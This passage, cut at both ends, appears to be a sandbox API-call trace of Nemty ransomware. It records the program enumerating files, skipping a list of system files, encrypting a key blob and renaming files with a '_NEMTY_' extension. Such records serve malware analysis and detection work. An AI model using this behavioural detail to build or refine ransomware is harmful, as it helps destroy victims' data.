out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.004] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.010] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.010] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.010] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.010] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0093.010] CloseHandle (hObject=0xffffffff) returned 0 [0093.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0093.010] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0093.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0093.010] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0093.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0093.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0093.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0093.010] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0093.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0093.010] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0093.010] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-highlight.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-highlight.png._nemty_kgobjgd_")) returned 0 [0093.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0093.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0093.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0093.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0093.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0093.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0093.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0093.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0093.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0093.011] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0093.011] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72669a5c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72669a5c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553c313d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc57, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="16_9-frame-image-inset.png", cAlternateFileName="")) returned 1 [0093.011] lstrcmpiW (lpString1="16_9-frame-image-inset.png", lpString2=".") returned 1 [0093.011] lstrcmpiW (lpString1="16_9-frame-image-inset.png", lpString2="..") returned 1 [0093.011] lstrcmpiW (lpString1="16_9-frame-image-inset.png", lpString2="...") returned 1 [0093.011] lstrcmpiW (lpString1="16_9-frame-image-inset.png", lpString2="windows") returned -1 [0093.011] lstrcmpiW (lpString1="16_9-frame-image-inset.png", lpString2="$RECYCLE.BIN") returned 1 [0093.011] lstrcmpiW (lpString1="16_9-frame-image-inset.png", lpString2="rsa") returned -1 [0093.011] lstrcmpiW (lpString1="16_9-frame-image-inset.png", lpString2="NTDETECT.COM") returned -1 [0093.011] lstrcmpiW (lpString1="16_9-frame-image-inset.png", lpString2="ntldr") returned -1 [0093.011] lstrcmpiW (lpString1="16_9-frame-image-inset.png", lpString2="MSDOS.SYS") returned -1 [0093.011] lstrcmpiW (lpString1="16_9-frame-image-inset.png", lpString2="IO.SYS") returned -1 [0093.011] lstrcmpiW (lpString1="16_9-frame-image-inset.png", lpString2="boot.ini") returned -1 [0093.011] lstrcmpiW (lpString1="16_9-frame-image-inset.png", lpString2="boot.ini") returned -1 [0093.011] lstrcmpiW (lpString1="16_9-frame-image-inset.png", lpString2="AUTOEXEC.BAT") returned -1 [0093.011] lstrcmpiW (lpString1="16_9-frame-image-inset.png", lpString2="ntuser.dat") returned -1 [0093.011] lstrcmpiW (lpString1="16_9-frame-image-inset.png", lpString2="desktop.ini") returned -1 [0093.011] lstrcmpiW (lpString1="16_9-frame-image-inset.png", lpString2="CONFIG.SYS") returned -1 [0093.011] lstrcmpiW (lpString1="16_9-frame-image-inset.png", lpString2="RECYCLER") returned -1 [0093.011] lstrcmpiW (lpString1="16_9-frame-image-inset.png", lpString2="BOOTSECT.BAK") returned -1 [0093.011] lstrcmpiW (lpString1="16_9-frame-image-inset.png", lpString2="bootmgr") returned -1 [0093.011] lstrcmpiW (lpString1="16_9-frame-image-inset.png", lpString2="programdata") returned -1 [0093.011] lstrcmpiW (lpString1="16_9-frame-image-inset.png", lpString2="appdata") returned -1 [0093.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0093.011] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-image-inset.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0093.011] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0093.012] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-image-inset.png", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16_9-frame-image-inset.png", lpUsedDefaultChar=0x0) returned 26 [0093.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0093.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0093.012] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-image-inset.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0093.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0093.012] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-image-inset.png", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16_9-frame-image-inset.png", lpUsedDefaultChar=0x0) returned 26 [0093.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0093.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0093.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0093.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0093.012] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-image-inset.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0093.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0093.012] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-image-inset.png", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16_9-frame-image-inset.png", lpUsedDefaultChar=0x0) returned 26 [0093.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0093.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0093.012] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-image-inset.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0093.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0093.012] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-image-inset.png", cchWideChar=26, lpMultiByteStr=0x4f9ed58, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16_9-frame-image-inset.png", lpUsedDefaultChar=0x0) returned 26 [0093.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0093.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0093.012] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0093.012] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0093.012] Sleep (dwMilliseconds=0x5) [0093.021] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xeb176bd0, dwHighDateTime=0x1d561e7)) [0093.021] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xeb176bd0, dwHighDateTime=0x1d561e7)) [0093.021] GetLastError () returned 0x5 [0093.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0093.021] GetLastError () returned 0x5 [0093.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0093.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0093.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0093.021] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0093.021] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0093.021] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0093.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0093.021] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="m3QInfzzKc8QUNIGmgfsum0jglql6U5nkjg6gLwKX3HPfnUIy+fGv35aWPfTyV0O\r\nHvDsqXTQoHg38xEr+LwutsRexiasdGAz2tQtybecmaSmxvMK87zY5HZyQSL1DNCM\r\nwpIEp43thfg3s7qqiUw0vYe3nTOs9r2FyOlk4pRKOK5ePQoCA85Rs5GDVrZkYAU1\r\ny9Pk7QA2nTb7t/+LiXvTB4nZJE8P2Qlyu6PtrfN6jzfKEnKWqcPmlJnAPdB7PU8R\r\nZIP+RSbWbUWd6XIdzRVhUgWt6GEeqLdWeNrDhosGJ8DTZgUA2UwUv2z3rJEXhiHh\r\n8yL1tvixfMJW3sX0WqJyZA==\r\n", pcchString=0x653e91c) returned 1 [0093.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0093.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0093.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0093.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0093.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0093.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0093.022] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-image-inset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0093.022] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0093.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0093.022] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.022] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.031] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.031] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.031] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.031] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.041] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.041] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.041] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.041] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.051] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.051] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.051] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.051] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.061] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.061] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.061] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.061] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.070] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.071] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.071] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.071] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.079] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.079] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.080] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.080] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.089] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.089] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.089] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.089] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.098] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.098] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.098] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.098] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.107] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.107] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.107] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.108] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.117] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.117] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.117] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.117] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.123] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.123] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.123] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.123] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.129] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.129] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.129] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.129] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0093.129] CloseHandle (hObject=0xffffffff) returned 0 [0093.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0093.129] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0093.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0093.129] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0093.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0093.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0093.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0093.139] RtlAllocateHeap (HeapHandle=0x4f90000, 